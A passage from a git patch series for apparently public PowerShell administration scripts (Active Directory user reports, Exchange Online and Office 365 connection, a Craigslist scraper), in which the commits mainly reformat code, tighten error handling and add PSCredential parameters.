$_.Properties[0].Value -like "$Using:UserName" } | Select-Object -Property TimeCreated, - @{ Label = 'UserName'; Expression = { $_.Properties[0].Value } }, - @{ Label = 'ClientName'; Expression = { $_.Properties[1].Value } } + @{ Label = 'UserName'; Expression = { $_.Properties[0].Value } }, + @{ Label = 'ClientName'; Expression = { $_.Properties[1].Value } } } | Select-Object -Property TimeCreated, UserName, ClientName }#TRY - CATCH - { + CATCH { } }#PROCESS From 3d4db613025bfbd8519c3ea108a237abb2e509a0 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:56:09 -0800 Subject: [PATCH 233/561] Update catch block --- AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 index 376436ee..bc240121 100644 --- a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 +++ b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 @@ -98,7 +98,7 @@ Function Get-AccountLockedOut { } | Select-Object -Property TimeCreated, UserName, ClientName }#TRY CATCH { - + $PSCmdlet.ThrowTerminatingError($_) } }#PROCESS } From 92387d3a1760f6ea64966ca09fbcbf067dbe2476 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:56:44 -0800 Subject: [PATCH 234/561] Add PSCredential type --- AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 index bc240121..e6fbef2c 100644 --- a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 +++ b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 @@ -46,6 +46,7 @@ Function Get-AccountLockedOut { #> PARAM ( $Domain = $env:USERDOMAIN, + [pscredential] $Credential = [System.Management.Automation.PSCredential]::Empty ) From 363364562cb4d2f2482b806ffeba9463de771efd Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:57:19 -0800 Subject: [PATCH 235/561] Format script --- .../Get-ADDirectReport.ps1 | 33 +++++++------------ 1 file changed, 11 insertions(+), 22 deletions(-) diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index 046aab3c..dcd04b29 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -1,5 +1,4 @@ -function Get-ADDirectReports -{ +function Get-ADDirectReports { <# .SYNOPSIS This function retrieve the directreports property from the IdentitySpecified. @@ -54,26 +53,19 @@ test_userA1 test_userA1 test_userA1@lazy... test_managerA [String[]]$Identity, [Switch]$Recurse ) - BEGIN - { - TRY - { + BEGIN { + TRY { IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } } - CATCH - { + CATCH { Write-Verbose -Message "[BEGIN] Something wrong happened" Write-Verbose -Message $Error[0].Exception.Message } } - PROCESS - { - foreach ($Account in $Identity) - { - TRY - { - IF ($PSBoundParameters['Recurse']) - { + PROCESS { + foreach ($Account in $Identity) { + TRY { + IF ($PSBoundParameters['Recurse']) { # Get the DirectReports Write-Verbose -Message "[PROCESS] Account: $Account (Recursive)" Get-Aduser -identity $Account -Properties directreports | @@ -86,23 +78,20 @@ test_userA1 test_userA1 test_userA1@lazy... test_managerA } } }#IF($PSBoundParameters['Recurse']) - IF (-not ($PSBoundParameters['Recurse'])) - { + IF (-not ($PSBoundParameters['Recurse'])) { Write-Verbose -Message "[PROCESS] Account: $Account" # Get the DirectReports Get-Aduser -identity $Account -Properties directreports | Select-Object -ExpandProperty directReports | Get-ADUser -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } }#IF (-not($PSBoundParameters['Recurse'])) }#TRY - CATCH - { + CATCH { Write-Verbose -Message "[PROCESS] Something wrong happened" Write-Verbose -Message $Error[0].Exception.Message } } } - END - { + END { Remove-Module -Name ActiveDirectory -ErrorAction 'SilentlyContinue' -Verbose:$false | Out-Null } } From 775122e4534ffeb13a355be05b301e402a93bc51 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:58:12 -0800 Subject: [PATCH 236/561] Update catch blocks --- AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index dcd04b29..11ecb1d6 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -58,8 +58,7 @@ test_userA1 test_userA1 test_userA1@lazy... test_managerA IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } } CATCH { - Write-Verbose -Message "[BEGIN] Something wrong happened" - Write-Verbose -Message $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } } PROCESS { @@ -86,8 +85,7 @@ test_userA1 test_userA1 test_userA1@lazy... test_managerA }#IF (-not($PSBoundParameters['Recurse'])) }#TRY CATCH { - Write-Verbose -Message "[PROCESS] Something wrong happened" - Write-Verbose -Message $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } } } From d43ef86d69861b547f16bff85a525447f1a6d8ac Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 13:59:00 -0800 Subject: [PATCH 237/561] Update script format --- .../AD-USER-Report_Expiring_users.ps1 | 57 +++++++------------ 1 file changed, 21 insertions(+), 36 deletions(-) diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index 36e0b263..ad936d1b 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -41,8 +41,7 @@ PARAM ( [String]$EmailSMTPServer = "smtp.contoso.com" ) -BEGIN -{ +BEGIN { # Add Active Directory Module # Define Email Subject @@ -51,9 +50,8 @@ BEGIN # Functions helper # Send from - Function Send-Email - { - <# + Function Send-Email { + <# .SYNOPSIS This function allows you to send email .DESCRIPTION @@ -116,10 +114,10 @@ BEGIN [String]$Password, [Parameter(Mandatory = $true)] - [ValidateScript({ - # Verify the host is reachable - Test-Connection -ComputerName $_ -Count 1 -Quiet - })] + [ValidateScript( { + # Verify the host is reachable + Test-Connection -ComputerName $_ -Count 1 -Quiet + })] [string]$SMTPServer, [ValidateRange(1, 65535)] @@ -128,10 +126,8 @@ BEGIN [Switch]$EnableSSL )#PARAM - PROCESS - { - TRY - { + PROCESS { + TRY { # Create Mail Message Object $SMTPMessage = New-Object System.Net.Mail.MailMessage $SMTPMessage.From = $EmailFrom @@ -145,8 +141,7 @@ BEGIN $SMTPMessage.SubjectEncoding = $Encoding # Attachement Parameter - IF ($PSBoundParameters['attachment']) - { + IF ($PSBoundParameters['attachment']) { $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) $SMTPMessage.Attachments.Add($STMPattachment) } @@ -157,14 +152,12 @@ BEGIN $SMTPClient.Port = $Port # SSL Parameter - IF ($PSBoundParameters['EnableSSL']) - { + IF ($PSBoundParameters['EnableSSL']) { $SMTPClient.EnableSsl = $true } # Credential Paramenter - IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) - { + IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) { # Create Credential Object $Credentials = New-Object -TypeName System.Net.NetworkCredential $Credentials.UserName = $username.Split("@")[0] @@ -178,14 +171,12 @@ BEGIN $SMTPClient.Send($SMTPMessage) }#TRY - CATCH - { + CATCH { Write-Warning -message "[PROCESS] Something wrong happened" Write-Warning -Message $Error[0].Exception.Message } }#Process - END - { + END { # Remove Variables Remove-Variable -Name SMTPClient Remove-Variable -Name Password @@ -193,10 +184,8 @@ BEGIN } #End Function Send-EMail } -PROCESS -{ - TRY - { +PROCESS { + TRY { $Accounts = Search-ADAccount -AccountExpiring -SearchBase $SearchBase -TimeSpan "$($days).00:00:00" | Select-Object -Property AccountExpirationDate, Name, Samaccountname, @{ Label = "Manager"; E = { (Get-Aduser(Get-aduser $_ -property manager).manager).Name } }, DistinguishedName @@ -235,28 +224,24 @@ td { # Prepare Body # If No account to report - IF (-not ($accounts)) - { + IF (-not ($accounts)) { $body = "No user account expiring in the next $days days to report
$PostContent" } - ELSE - { + ELSE { $body = $Accounts | ConvertTo-Html -head $Css -PostContent $PostContent -PreContent $PreContent } # Sending email Send-Email -SMTPServer $EmailSMTPServer -From $EmailFrom -To $Emailto -BodyIsHTML ` - -Subject $EmailSubject -Body $body + -Subject $EmailSubject -Body $body }#TRY - CATCH - { + CATCH { Write-Warning -Message "[PROCESS] Something happened" Write-Warning -Message $Error[0].Exception.Message } }#PROCESS -END -{ +END { } \ No newline at end of file From 8baa3c0ec978266e6ec30199d780138f566fe9f3 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 14:01:09 -0800 Subject: [PATCH 238/561] Update Credential parameter --- .../AD-USER-Report_Expiring_users.ps1 | 21 +++++++++++-------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index ad936d1b..0c5acc06 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -107,11 +107,13 @@ BEGIN { [String]$Attachment, - [Parameter(ParameterSetName = "Credential", Mandatory = $true)] - [String]$Username, + #[Parameter(ParameterSetName = "Credential", Mandatory = $true)] + #[String]$Username, - [Parameter(ParameterSetName = "Credential", Mandatory = $true)] - [String]$Password, + #[Parameter(ParameterSetName = "Credential", Mandatory = $true)] + #[String]$Password, + + [pscredential]$Credential, [Parameter(Mandatory = $true)] [ValidateScript( { @@ -157,14 +159,15 @@ BEGIN { } # Credential Paramenter - IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) { + #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) { + IF ($PSBoundParameters['Credential']){ # Create Credential Object - $Credentials = New-Object -TypeName System.Net.NetworkCredential - $Credentials.UserName = $username.Split("@")[0] - $Credentials.Password = $Password + #$Credential = New-Object -TypeName System.Net.NetworkCredential + #$Credential.UserName = $username.Split("@")[0] + #$Credential.Password = $Password # Add the credentials object to the SMTPClient obj - $SMTPClient.Credentials = $Credentials + $SMTPClient.Credentials = $Credential } # Send the Email From 09df5d0c4fd099d1f67a9516b0854f24232df083 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 14:02:31 -0800 Subject: [PATCH 239/561] Update Error handling --- .../AD-USER-Report_Expiring_users.ps1 | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index 0c5acc06..1bce0b56 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -175,8 +175,7 @@ BEGIN { }#TRY CATCH { - Write-Warning -message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } }#Process END { @@ -241,8 +240,7 @@ td { }#TRY CATCH { - Write-Warning -Message "[PROCESS] Something happened" - Write-Warning -Message $Error[0].Exception.Message + Throw $_ } }#PROCESS END { From 5bd22cd0854a21399e2cec286d417cd69c132ea2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 14:03:09 -0800 Subject: [PATCH 240/561] format script --- .../Connect-ExchangeOnline.ps1 | 23 ++++++++----------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index 9af7a4eb..bbea77a4 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -1,6 +1,5 @@ -function Connect-ExchangeOnline -{ -<# +function Connect-ExchangeOnline { + <# .SYNOPSIS Function to Connect to an Exchange Online @@ -32,30 +31,26 @@ [Parameter(Mandatory)] $Credential ) - PROCESS - { - TRY - { + PROCESS { + TRY { # Make sure the credential username is something like admin@domain.com - if ($Credential.username -notlike '*@*') - { + if ($Credential.username -notlike '*@*') { Write-Error 'Must be email format' break } $Splatting = @{ - ConnectionUri = $ConnectionUri + ConnectionUri = $ConnectionUri ConfigurationName = 'microsoft.exchange' - Authentication = 'Basic' - AllowRedirection = $true + Authentication = 'Basic' + AllowRedirection = $true } IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } # Load Exchange cmdlets (Implicit remoting) Import-PSSession -Session (New-pssession @Splatting -ErrorAction Stop) -ErrorAction Stop } - CATCH - { + CATCH { $Error[0] } } From c689c470f0be794621e075d8f9748346a560c683 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 14:03:37 -0800 Subject: [PATCH 241/561] Update error handling --- EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index bbea77a4..f68b6018 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -51,7 +51,7 @@ Import-PSSession -Session (New-pssession @Splatting -ErrorAction Stop) -ErrorAction Stop } CATCH { - $Error[0] + $PSCmdlet.ThrowTerminatingError($_) } } } \ No newline at end of file From 91b1e884fa65e8b6dd609178dc58524b76e519b6 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 14:04:00 -0800 Subject: [PATCH 242/561] Add PSCredential type --- EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index f68b6018..e5a9a946 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -29,6 +29,7 @@ ( [system.string]$ConnectionUri = 'https://ps.outlook.com/powershell/', [Parameter(Mandatory)] + [pscredential] $Credential ) PROCESS { From be97c9a402174f68f32192d2597e2e09c130fa44 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 14:04:31 -0800 Subject: [PATCH 243/561] Update format --- ...5-GROUP-Get-DistributionGroupRecursive.ps1 | 34 +++++++------------ 1 file changed, 12 insertions(+), 22 deletions(-) diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index 74733a11..8a62be4b 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -1,7 +1,6 @@  -function Get-DistributionGroupMemberRecursive -{ -<# +function Get-DistributionGroupMemberRecursive { + <# .SYNOPSIS This script will list all the members (recursively) of a DistributionGroup .EXAMPLE @@ -13,37 +12,30 @@ function Get-DistributionGroupMemberRecursive #> [CmdletBinding()] PARAM ($Group) - BEGIN - { - TRY - { + BEGIN { + TRY { # Retrieve Group information Write-Verbose -Message "[BEGIN] Retrieving members of $Group" $GroupMembers = Get-DistributionGroupMember -Identity $Group -ErrorAction Stop -ErrorVariable ErrorBeginGetDistribMembers | Select-object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $Group } }, RecipientType } - CATCH - { + CATCH { Write-Warning -Message "[BEGIN] Something wrong happened" if ($ErrorBeginGetDistribMembers) { Write-Warning -Message "[BEGIN] Issue while retrieving members of $Group" } Write-Warning -Message $Error[0].Exception.Message } } - PROCESS - { - FOREACH ($Member in $GroupMembers) - { - TRY - { + PROCESS { + FOREACH ($Member in $GroupMembers) { + TRY { Write-verbose "[PROCESS] Member: $($member.name)" - SWITCH ($Member.RecipientType) - { + SWITCH ($Member.RecipientType) { "MailUniversalDistributionGroup" { # Member's type is Distribution Group, we need to find members of this object Get-DistributionGroupMemberRecursive -Group $($Member.name) | - Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $($Member.name) } }, RecipientType + Select-Object -Property Name, PrimarySMTPAddress, @{ Label = "Group"; Expression = { $($Member.name) } }, RecipientType Write-Verbose -Message "[PROCESS] $($Member.name)" } "UserMailbox" { @@ -52,15 +44,13 @@ function Get-DistributionGroupMemberRecursive } } } - CATCH - { + CATCH { Write-Warning -Message "[PROCESS] Something wrong happened" Write-Warning -Message $Error[0].Exception.Message } } } - END - { + END { Write-Verbose -message "[END] Done" } } From d8460e875668cd96018cd2571038591b519364c8 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 15:41:15 -0800 Subject: [PATCH 244/561] Fix Error handling --- .../O365-GROUP-Get-DistributionGroupRecursive.ps1 | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index 8a62be4b..5b4ab885 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -21,9 +21,8 @@ function Get-DistributionGroupMemberRecursive { } CATCH { - Write-Warning -Message "[BEGIN] Something wrong happened" if ($ErrorBeginGetDistribMembers) { Write-Warning -Message "[BEGIN] Issue while retrieving members of $Group" } - Write-Warning -Message $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } } PROCESS { @@ -45,8 +44,7 @@ function Get-DistributionGroupMemberRecursive { } } CATCH { - Write-Warning -Message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message + $PSCmdlet.ThrowTerminatingError($_) } } } From 4203d1f19fcf9d618a4305c076b85dbcadb731be Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:17:40 -0800 Subject: [PATCH 245/561] Update format --- _Profiles/functions/clx.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_Profiles/functions/clx.ps1 b/_Profiles/functions/clx.ps1 index aca8929c..f917b32f 100644 --- a/_Profiles/functions/clx.ps1 +++ b/_Profiles/functions/clx.ps1 @@ -1,3 +1,3 @@ Function clx { - [System.Console]::SetWindowPosition(0,[System.Console]::CursorTop) -} \ No newline at end of file + [System.Console]::SetWindowPosition(0, [System.Console]::CursorTop) +} From 34e372cd427005eb9c205db745bb28c4fc4768e2 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:18:04 -0800 Subject: [PATCH 246/561] Update format --- _Profiles/functions/connect-office365.ps1 | 49 ++++++++--------------- 1 file changed, 17 insertions(+), 32 deletions(-) diff --git a/_Profiles/functions/connect-office365.ps1 b/_Profiles/functions/connect-office365.ps1 index 4e200c50..eb29a831 100644 --- a/_Profiles/functions/connect-office365.ps1 +++ b/_Profiles/functions/connect-office365.ps1 @@ -1,6 +1,5 @@ -function Connect-Office365 -{ -<# +function Connect-Office365 { + <# .SYNOPSIS This function will prompt for credentials, load module MSOLservice, load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. @@ -23,42 +22,33 @@ #> [CmdletBinding()] PARAM () - BEGIN - { - TRY - { + BEGIN { + TRY { #Modules - IF (-not (Get-Module -Name MSOnline -ListAvailable)) - { + IF (-not (Get-Module -Name MSOnline -ListAvailable)) { Write-Verbose -Message "BEGIN - Import module Azure Active Directory" Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline } - IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) - { + IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) { Write-Verbose -Message "BEGIN - Import module Lync Online" Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline } } - CATCH - { + CATCH { Write-Warning -Message "BEGIN - Something went wrong!" - IF ($ErrorBeginIpmoMSOnline) - { + IF ($ErrorBeginIpmoMSOnline) { Write-Warning -Message "BEGIN - Error while importing MSOnline module" } - IF ($ErrorBeginIpmoLyncOnline) - { + IF ($ErrorBeginIpmoLyncOnline) { Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" } Write-Warning -Message $error[0].exception.message } } - PROCESS - { - TRY - { + PROCESS { + TRY { # CREDENTIAL Write-Verbose -Message "PROCESS - Ask for Office365 Credential" @@ -84,27 +74,22 @@ # SHAREPOINT ONLINE #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred } - CATCH - { + CATCH { Write-Warning -Message "PROCESS - Something went wrong!" - IF ($ErrorCredential) - { + IF ($ErrorCredential) { Write-Warning -Message "PROCESS - Error while gathering credential" } - IF ($ErrorConnectMSOL) - { + IF ($ErrorConnectMSOL) { Write-Warning -Message "PROCESS - Error while connecting to Azure AD" } - IF ($ErrorConnectExchange) - { + IF ($ErrorConnectExchange) { Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" } - IF ($ErrorConnectLync) - { + IF ($ErrorConnectLync) { Write-Warning -Message "PROCESS - Error while connecting to Lync Online" } Write-Warning -Message $error[0].exception.message } } -} \ No newline at end of file +} From 30a9132a46b03bafcba542e07927bbd23e75f843 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:18:11 -0800 Subject: [PATCH 247/561] Update format --- _Profiles/functions/Get-NetAccelerator.ps1 | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/_Profiles/functions/Get-NetAccelerator.ps1 b/_Profiles/functions/Get-NetAccelerator.ps1 index e7cd3144..eb5fae65 100644 --- a/_Profiles/functions/Get-NetAccelerator.ps1 +++ b/_Profiles/functions/Get-NetAccelerator.ps1 @@ -1,4 +1,3 @@ -function Get-Accelerators -{ +function Get-Accelerators { [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get -} \ No newline at end of file +} From 78891cbe48dc5fc28990b865c134162d1caaa64a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:18:28 -0800 Subject: [PATCH 248/561] Update format --- _Profiles/functions/Find-Apartment.ps1 | 40 +++++++++++++------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/_Profiles/functions/Find-Apartment.ps1 b/_Profiles/functions/Find-Apartment.ps1 index 4b5cd3a2..fda6d40b 100644 --- a/_Profiles/functions/Find-Apartment.ps1 +++ b/_Profiles/functions/Find-Apartment.ps1 @@ -1,5 +1,4 @@ -Function Find-Apartment -{ +Function Find-Apartment { <# .SYNOPSIS Allow you search Appartement in craigslist @@ -8,33 +7,33 @@ #http://masterrex.com/?p=64 #> param ( - [Parameter(Mandatory=$False)]$MinPrice="0", - [Parameter(Mandatory=$False)]$MaxPrice="9999", - [Parameter(Mandatory=$False)]$MaxPages="1", - [Parameter(Mandatory=$False)]$URL = "http://burlington.craigslist.org" + [Parameter(Mandatory = $False)]$MinPrice = "0", + [Parameter(Mandatory = $False)]$MaxPrice = "9999", + [Parameter(Mandatory = $False)]$MaxPages = "1", + [Parameter(Mandatory = $False)]$URL = "http://burlington.craigslist.org" ) $AvailableRooms = @() - For ($CurrentPage=0;$CurrentPage -le $MaxPages;$CurrentPage++) { + For ($CurrentPage = 0; $CurrentPage -le $MaxPages; $CurrentPage++) { $WebPage = Invoke-WebRequest "$URL/search/roo?=roo&s=$Start&query=&zoomToPosting=&minAsk=$MinPrice&maxAsk=$MaxPrice&hasPic=1" $Results = $WebPage.ParsedHtml.body.innerHTML.Split("`n") | Where-Object { $_ -like "

","") -replace ".*" - $DatePosted = ($Item -replace ".*class=date>","") -replace ".*" - $Neighborhood = ($Item -replace ".*\\(","") -replace "\)\.*" + $ItemObject = $ID = $Price = $DatePosted = $Neighborhood = $Link = $Description = $Email = $null + $ID = ($Item -replace ".*pid\=`"", "") -replace "`".*" + $Price = ($Item -replace ".*class=price>", "") -replace ".*" + $DatePosted = ($Item -replace ".*class=date>", "") -replace ".*" + $Neighborhood = ($Item -replace ".*\\(", "") -replace "\)\.*" If ($Neighborhood -like "<*") { $Neighborhood = "N/A" } - $Link = $URL + ((($Item -replace ".*\'))[0] + $Link = $URL + ((($Item -replace ".*\'))[0] $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split("`n") | Where-Object { $_ -like "var displayEmail*" }) -replace "var displayEmail \= `"") -replace "`";" - $Description = ((($Item -replace ".*\'))[1] + $Description = ((($Item -replace ".*\'))[1] $ItemObject = New-Object -TypeName PSObject -Property @{ - 'ID' = $ID - 'Price' = $Price - 'DatePosted' = $DatePosted + 'ID' = $ID + 'Price' = $Price + 'DatePosted' = $DatePosted 'Neighborhood' = $Neighborhood - 'Link' = $Link - 'Description' = $Description - 'E-Mail' = $Email + 'Link' = $Link + 'Description' = $Description + 'E-Mail' = $Email } #$AvailableRooms += $ItemObject $ItemObject @@ -42,3 +41,4 @@ } #Return $AvailableRooms } + From e59d37e49d7bb4c8f7b9fa5f84499193407392fe Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:18:36 -0800 Subject: [PATCH 249/561] Update format --- _Profiles/functions/Get-UsefulNetMethod.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_Profiles/functions/Get-UsefulNetMethod.ps1 b/_Profiles/functions/Get-UsefulNetMethod.ps1 index dc8f94a5..2f678104 100644 --- a/_Profiles/functions/Get-UsefulNetMethod.ps1 +++ b/_Profiles/functions/Get-UsefulNetMethod.ps1 @@ -1,4 +1,4 @@ -Write-Host "[Math]::Round(7.9)" +Write-Host "[Math]::Round(7.9)" Write-Host "[Convert]::ToString(576255753217, 8)" @@ -8,4 +8,4 @@ Write-Host "[Net.Dns]::GetHostByName('schulung12')" Write-Host "[IO.Path]::GetExtension('c:\test.txt')" -Write-Host "[IO.Path]::ChangeExtension('c:\test.txt', 'bak')" \ No newline at end of file +Write-Host "[IO.Path]::ChangeExtension('c:\test.txt', 'bak')" From de0127bc43d7b505391d41a2bbe6189d2a99690a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:26:53 -0800 Subject: [PATCH 250/561] Remove trailing lines --- _Profiles/functions/Find-Apartment.ps1 | 3 +-- _Profiles/functions/Get-NetAccelerator.ps1 | 2 +- _Profiles/functions/Get-UsefulNetMethod.ps1 | 2 +- _Profiles/functions/connect-office365.ps1 | 2 +- 4 files changed, 4 insertions(+), 5 deletions(-) diff --git a/_Profiles/functions/Find-Apartment.ps1 b/_Profiles/functions/Find-Apartment.ps1 index fda6d40b..77bce84a 100644 --- a/_Profiles/functions/Find-Apartment.ps1 +++ b/_Profiles/functions/Find-Apartment.ps1 @@ -40,5 +40,4 @@ Function Find-Apartment { } } #Return $AvailableRooms -} - +} \ No newline at end of file diff --git a/_Profiles/functions/Get-NetAccelerator.ps1 b/_Profiles/functions/Get-NetAccelerator.ps1 index eb5fae65..ed5973bc 100644 --- a/_Profiles/functions/Get-NetAccelerator.ps1 +++ b/_Profiles/functions/Get-NetAccelerator.ps1 @@ -1,3 +1,3 @@ function Get-Accelerators { [psobject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get -} +} \ No newline at end of file diff --git a/_Profiles/functions/Get-UsefulNetMethod.ps1 b/_Profiles/functions/Get-UsefulNetMethod.ps1 index 2f678104..620d175d 100644 --- a/_Profiles/functions/Get-UsefulNetMethod.ps1 +++ b/_Profiles/functions/Get-UsefulNetMethod.ps1 @@ -8,4 +8,4 @@ Write-Host 